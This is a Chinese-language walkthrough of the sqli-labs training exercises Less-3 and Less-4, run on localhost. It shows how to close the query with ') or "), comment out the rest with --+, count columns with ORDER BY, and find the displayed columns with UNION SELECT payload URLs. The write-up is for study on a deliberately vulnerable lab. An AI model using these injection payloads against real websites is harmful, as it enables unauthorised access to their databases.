sqli-labs--Less-3 和 Less-4 ')闭合绕过

判断注入类型

测试:http://localhost/sqli-labs-master/Less-3/index.php?id=1a

正常回显，可以判断为 字符型注入

闭合字符串执行而已 SQL语句

尝试使用 '闭合，http://localhost/sqli-labs-master/Less-3/index.php?id=1'

通过报错信息可以看出,我们使用'闭合后，后面还有一个)
尝试是使用 ')闭合，http://localhost/sqli-labs-master/Less-3/index.php?id=1')

报错提示) limit 0,1 错误，使用 --+ 将其后面的语句注释即可
paylod:http://localhost/sqli-labs-master/Less-3/index.php?id=1') --+

正常回显，成功绕过

判断字段数

测试:http://localhost/sqli-labs-master/Less-3/index.php?id=1') order by 3--+

正常回显
继续测试:http://localhost/sqli-labs-master/Less-3/index.php?id=1') order by 4--+

报错，说明存在 3 个字段

查看字段显示顺序

测试:http://localhost/sqli-labs-master/Less-3/index.php?id=-1') union select 1,2,3 --+

可以看到 2 和 3 正常回显，注意: id=-1

后续操作我就不在说明了，和之前的sqli-labs-Less1几乎一样的流程

Less4关卡

这里直接演示 union select 1,2,3 的语句。
payload:http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,2,3--+

和 Less3 几乎一模一样，Less3关卡使用')单引号右括号闭合，而Less4关卡使用")算引号右括号闭合。
后续步骤也和sqli-labs-Less1几乎一样的流程